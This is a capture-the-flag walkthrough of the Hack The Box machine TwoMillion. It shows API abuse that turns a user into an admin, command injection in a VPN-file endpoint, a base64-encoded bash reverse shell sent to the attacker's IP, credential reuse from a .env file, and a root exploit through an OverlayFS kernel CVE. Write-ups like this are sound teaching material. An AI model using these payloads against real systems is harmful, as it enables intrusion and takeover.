Description
TwoMillion is an easy Hack The Box machine that features:
- Invite Code generation to register in a web application
- API enumeration to change a normal user into an administrator
- Command Injection in an API used to generate VPN connection files
- User Pivoting by using reused credentials found in environment file
- Privilege Escalation via OverlayFS Linux Kernel vulnerability
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.10.11.221.
$ ping -c 3 10.10.11.221
PING 10.10.11.221 (10.10.11.221) 56(84) bytes of data.
64 bytes from 10.10.11.221: icmp_seq=1 ttl=63 time=48.8 ms
64 bytes from 10.10.11.221: icmp_seq=2 ttl=63 time=49.5 ms
64 bytes from 10.10.11.221: icmp_seq=3 ttl=63 time=47.9 ms
--- 10.10.11.221 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 47.912/48.729/49.491/0.645 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.10.11.221 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.221
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds
We get two open ports: 22, and 80.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.10.11.221 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.221
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.04 seconds
We get two services: one Secure Shell (SSH), and one Hypertext Transfer Protocol (HTTP). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We add the 2million.htb domain to the /etc/hosts file.
$ echo '10.10.11.221 2million.htb' | sudo tee -a /etc/hosts
Enumerating the website, we find an old version of Hack The Box.
We have the option of logging but we do not have credentials. Enumerating the endpoints, we find the /register endpoint, in which we can register an account. We need an invite code. Reading the main page we find that for registering we need to solve an entry-level challenge presented in /invite endpoint.
A POST HTTP request is sent to the /api/v1/invite/verify endpoint with one parameter, code. By reading the source code of the page, we find the web page is loading the JavaScript code /js/inviteapi.min.js. As of the min extension we find that this is a minified code, so it is difficult to read. We can load the original source code from the /js/inviteapi.js file.
$ curl http://2million.htb/js/inviteapi.js
document.getElementById('verifyForm').addEventListener('submit', function(event) {
event.preventDefault();
var codeValue = document.getElementById('code').value;
if(codeValue === '2MILLION') {
window.location.href = '/register';
} else {
alert('Invite code is incorrect.');
}
});
As we find here, the register code is 2MILLION. We enter it and we still getting the error of invalid code. This seems to be unused code. We return to the minified code.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))
The code it is not only minified, it is obfuscated. We can use an AI LLM to deobfuscate the code. We obtain the following code:
function verifyInviteCode(code) {
var response = $.ajax({
type: "POST",
url: "/api/v1/invite",
data: {
code: code
},
success: function(data) {
console.log(data);
},
error: function(data) {
console.log(data);
}
});
}
function makeInviteCode() {
$.ajax({
type: "POST",
url: "/api/v1/invite/generate",
success: function(data) {
console.log(data);
},
error: function(data) {
console.log(data);
}
});
}
We find that a new function exists, makeInviteCode, which is calling to the /api/v1/invite/generate endpoint to generate a new code. Let’s call it.
$ curl -XPOST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"TjFRREMtVkhBS0ctTkFTRDUtNVBMU1k=","format":"encoded"}}
The TjFRREMtVkhBS0ctTkFTRDUtNVBMU1k= code. It is a Base64 encoded string, we decode it.
$ echo 'TjFRREMtVkhBS0ctTkFTRDUtNVBMU1k=' | base64 -d
N1QDC-VHAKG-NASD5-5PLSY
We obtain the N1QDC-VHAKG-NASD5-5PLSY code. It is accepted and we get redirected to the /register page.
We registered the account successfully and now we can login and have access to the dashboard.
We find that we can download the VPN access pack (.ovpn file) from the Labs > Access section.
The download is done from the /api/v1/user/vpn/generate. Let’s enumerate the API. We have to use the cookie obtained when the user is logged.
curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' http://2million.htb/api | jq
{
"/api/v1": "Version 1 of the API"
}
$ curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' http://2million.htb/api/v1 | jq
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
$ curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' http://2million.htb/api/v1/admin/auth | jq
{
"message": false
}
$ curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -XPOST http://2million.htb/api/v1/admin/vpn/generate -v
...
* using HTTP/1.x
> POST /api/v1/admin/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.15.0
> Accept: */*
> Cookie: PHPSESSID=2emhq0u1uikvohi6ok811tk0cu
>
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< Server: nginx
...
$ curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -XPUT http://2million.htb/api/v1/admin/settings/update | jq
{
"status": "danger",
"message": "Invalid content type."
}
All the endpoints are listed when we do a request to the /api/v1, endpoint. We find a few administrative tasks, but there are not available due to we are not an administrator. With the generate VPN file for an user endpoint, we receive an 401 Unauthorized message. But with the update user settings, we receive an Invalid Content-Type message. It seems that the endpoint is not checking if the user doing the request is an administrator. With a Content-Type header set to application/json, the application is responding that there are missing parameters such as email or is_admin.
$ curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' -XPUT http://2million.htb/api/v1/admin/settings/update | jq
{
"status": "danger",
"message": "Missing parameter: email"
}
$ curl -s -XPUT -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"email": "user@2million.htb"}' http://2million.htb/api/v1/admin/settings/update | jq
{
"status": "danger",
"message": "Missing parameter: is_admin"
}
Exploitation
We can use this endpoint to change the permissions of our account to administrative ones by setting the is_admin parameter to 1.
$ curl -s -XPUT -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"email": "user@2million.htb", "is_admin": true}' http://2million.htb/api/v1/admin/settings/update | jq
{
"status": "danger",
"message": "Variable is_admin needs to be either 0 or 1."
}
$ curl -s -XPUT -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"email": "user@2million.htb", "is_admin": 1}' http://2million.htb/api/v1/admin/settings/update | jq
{
"id": 13,
"username": "user",
"is_admin": 1
}
We find that we are now an administrator. We can return to enumerate the previous unauthorized endpoint.
$ curl -s -XPOST -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"username": "user"}' http://2million.htb/api/v1/admin/vpn/generate
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
...
In this endpoint, only one parameter, username, is accepted. The application is returning the .ovpn file. As we can enter any value in the field, we are going to check for command injection, we are going to start a listening HTTP port and we are going to check if we receive a request from the server after injecting the curl command.
$ nc -nvlp 80
$ curl -s -XPOST -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"username": "user; curl http://10.10.14.16/test #"}' http://2million.htb/api/v1/admin/vpn/generate
We receive a request, effectively the endpoint is vulnerable to Command Injection.
$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.221] 46064
GET /test HTTP/1.1
Host: 10.10.14.16
User-Agent: curl/7.81.0
Accept: */*
We can use this to spawn a reverse shell.
$ curl -s -XPOST -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"username": "user; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNi84MCAwPiYx|base64 -d|bash"}' http://2million.htb/api/v1/admin/vpn/generate
We receive a reverse shell as the www-data user, we upgrade the shell.
$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.221] 59464
bash: cannot set terminal process group (1169): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@2million:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@2million:~/html$ ^Z
$ stty raw -echo; fg
$ reset xterm
www-data@2million:~/html$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Exploitation
We find the .env file in the root of the web server with the name of the database, htb_prod, the username of the database, admin and the password, SuperDuperPass123.
www-data@2million:~/html$ ls -a
. .. .env Database.php Router.php VPN assets controllers css fonts images index.php js views
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
We find that the password is reused for the admin Linux user, so we can login using SSH. We find that we have mail available, we read it.
$ ssh admin@2million.htb
...
You have mail.
...
admin@2million:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
In the email we find that the operating system is vulnerable to a Linux kernel vulnerability (OverlayFS / FUSE). A kernel vulnerability allows privilege escalation.
admin@2million:~$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
The machine is using the 5.15.70 kernel version. With this data we find the CVE-2023-0386, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system. We have a proof of concept of the vulnerability built by puckiestyle, we download it and run it. We get a root shell.
admin@2million:~$ mktemp -d
admin@2million:/tmp/tmp.71Hbu7iFZF$ wget http://10.10.14.16/main.zip
admin@2million:/tmp/tmp.71Hbu7iFZF$ unzip main.zip
admin@2million:/tmp/tmp.71Hbu7iFZF$ cd CVE-2023-0386-main/
admin@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main$ make all
admin@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc &
admin@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main$ ./exp
root@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)
Flags
In the root shell we can retrieve the user.txt and root.txt flags.
root@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main# cat /home/admin/user.txt
<REDACTED>
root@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main# cat /root/root.txt
<REDACTED>